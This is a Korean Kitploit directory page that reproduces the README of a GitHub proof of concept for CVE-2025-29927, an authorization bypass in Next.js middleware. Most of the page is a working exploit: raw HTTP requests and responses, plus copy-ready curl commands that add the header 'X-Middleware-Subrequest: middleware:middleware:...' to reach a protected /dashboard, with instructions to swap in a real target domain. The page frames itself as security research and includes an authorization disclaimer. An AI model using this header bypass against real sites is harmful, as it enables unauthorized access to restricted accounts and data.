Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-29927-POC — Next.js 미들웨어의 인가 우회 | Kitploit
도구/GitHubGitHub/muhammadwaseem29/cve-2025-29927-poc
Authentication & AuthorizationVulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubmuhammadwaseem29/cve-2025-29927-poc

CVE-2025-29927-POC

Next.js 미들웨어의 인가 우회

저장소 보기
931년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

CVE-2025-29927-POC

소개

이 저장소는 웹 애플리케이션의 미들웨어 처리 결함을 시연하는 가상의 취약점인 CVE-2025-29927에 대한 개념 증명(PoC)을 포함합니다. 이 PoC는 특수하게 조작된 HTTP 요청이 리다이렉션 로직을 우회하여 대시보드와 같은 제한된 콘텐츠에 접근할 수 있는 방법을 보여줍니다. 이 프로젝트는 교육 및 보안 연구 목적으로만 설계되었습니다.

고지 사항: 이 PoC는 명시적 허가를 받은 통제된 환경에서만 사용하도록 만들어졌습니다. 소유하지 않았거나 테스트 동의를 받지 않은 시스템에 대한 무단 테스트는 불법적이고 비윤리적입니다.


목차

  • 사전 요구 사항
  • 취약점 개요
  • 개념 증명 단계
    • 1단계: 초기 요청(실패)
    • 2단계: 수정된 요청(성공)
  • 재현 방법
  • 참고 자료
  • 기여
  • 라이선스

사전 요구 사항

이 PoC를 따라 하려면 다음이 필요합니다:

  • 취약한 구성으로 실행 중인 대상 서버(예: abc.com) (구체적인 소프트웨어/버전은 CVE 세부 정보에 따라 추후 결정)
  • curl(curl.se), Burp Suite(portswigger.net/burp) 또는 사용자 지정 스크립트와 같은 HTTP 클라이언트 도구
  • HTTP 프로토콜 및 헤더에 대한 기본 지식 (MDN HTTP 문서 참조)

취약점 개요

CVE-2025-29927(자리 표시자; 공식 CVE 세부 정보가 제공되면 교체)은 미들웨어 잘못된 구성 또는 로직 결함을 악용하는 것으로 보입니다. 이 PoC는 사용자 지정 헤더(X-Middleware-Subrequest)를 추가하면 서버의 동작이 변경되어 리다이렉션 메커니즘을 우회하고 제한된 콘텐츠에 접근할 수 있음을 보여줍니다. 이는 미들웨어(예: Next.js와 함께 사용되는 Nginx)가 하위 요청을 처리하거나 헤더를 검증하는 방식과 관련이 있을 가능성이 높습니다.

미들웨어 취약점에 대한 자세한 내용은 OWASP 미들웨어 보안을 참조하세요.


개념 증명 단계

PoC는 두 단계로 구성됩니다: 실패하는 초기 요청과 성공하는 수정된 요청입니다. 각 단계에는 HTTP 요청, 응답 및 자세한 설명이 포함됩니다.

1단계: 초기 요청(실패)

이 단계는 추가 헤더 없이 /dashboard 엔드포인트에 접근할 때의 기본 서버 동작을 보여줍니다.

HTTP 요청

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP 응답

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

설명

  • 요청 세부 정보:
    • GET /dashboard: 대시보드 엔드포인트에 접근을 시도합니다.
    • User-Agent 및 Accept와 같은 표준 헤더는 일반적인 브라우저 요청을 모방합니다.
  • 응답 세부 정보:
    • 307 Temporary Redirect: 서버가 클라이언트를 리디렉션함을 나타냅니다. 인증, 권한 부여 또는 라우팅 로직(예: 로그인 페이지로 리디렉션) 때문일 가능성이 높습니다.
    • Server: nginx/1.14.1: 웹 서버 소프트웨어를 식별합니다.
  • 분석: 리디렉션은 /dashboard에 대한 직접 접근을 차단하는 보호 메커니즘이 있음을 시사합니다. 이 응답에 Location 헤더가 없다는 것은(간결함을 위해 생략되었을 수 있음) 리디렉션 대상이 다른 곳에 있음을 의미합니다.
  • 참고: HTTP 상태 코드에 대한 자세한 내용은 MDN HTTP 상태에서 확인하세요.

2단계: 수정된 요청(성공)

이 단계에서는 리디렉션을 우회하기 위해 사용자 지정 헤더를 추가하여 대시보드 콘텐츠를 성공적으로 가져옵니다.

HTTP 요청

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP 응답

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

설명

  • 요청 세부 정보:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: 원래 요청에 추가된 사용자 지정 헤더입니다. 반복되는 middleware 문자열은 미들웨어 스택의 구문 분석 또는 검증 결함을 악용할 수 있습니다.
    • 다른 헤더는 1단계와 동일하게 유지됩니다.
  • 응답 세부 정보:
    • 200 OK: 대시보드 콘텐츠에 대한 접근이 성공했음을 확인합니다.
    • Content-Type: text/html; charset=utf-8: HTML 응답임을 나타내며, 대시보드 페이지일 가능성이 높습니다.
    • X-Powered-By: Next.js: 애플리케이션이 라우팅을 위해 미들웨어에 의존하는 React 프레임워크인 Next.js를 사용함을 시사합니다.
    • Cache-Control: 캐싱을 방지하며, 동적이고 사용자별 콘텐츠에서 일반적으로 나타납니다.
    • Content-Length: 30174: 응답 본문의 크기(바이트)입니다.
  • 분석: X-Middleware-Subrequest 헤더는 미들웨어가 요청을 합법적인 하위 요청으로 처리하도록 속여 리디렉션 로직을 우회할 가능성이 높습니다. 이는 하위 요청이 검증되거나 처리되는 방식의 취약점을 나타낼 수 있습니다.
  • 참고: Next.js 미들웨어에 대한 자세한 내용은 Next.js 문서에서 확인하세요.

재현 방법

다음 단계에 따라 curl을 사용하여 PoC를 재현하세요:

1단계: 초기 요청 보내기

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

예상 출력: 307 Temporary Redirect 응답.

2단계: 수정된 요청 보내기

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

예상 출력: 대시보드 콘텐츠가 포함된 200 OK 응답.

참고: 승인된 환경에서 테스트하는 경우 abc.com을 실제 대상 도메인으로 교체하세요.


참고 자료

  • CVE 세부 정보 - 공식 CVE 데이터베이스(특정 CVE 링크가 제공되면 업데이트하세요).
  • MDN HTTP 문서 - HTTP 프로토콜 기본 사항.
  • Next.js 미들웨어 - Next.js 미들웨어 동작에 대한 정보.
  • OWASP 미들웨어 보안 - 미들웨어 취약점 개요.
  • curl 매뉴얼 - HTTP 요청에 curl을 사용하는 방법 안내.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

도구 다운로드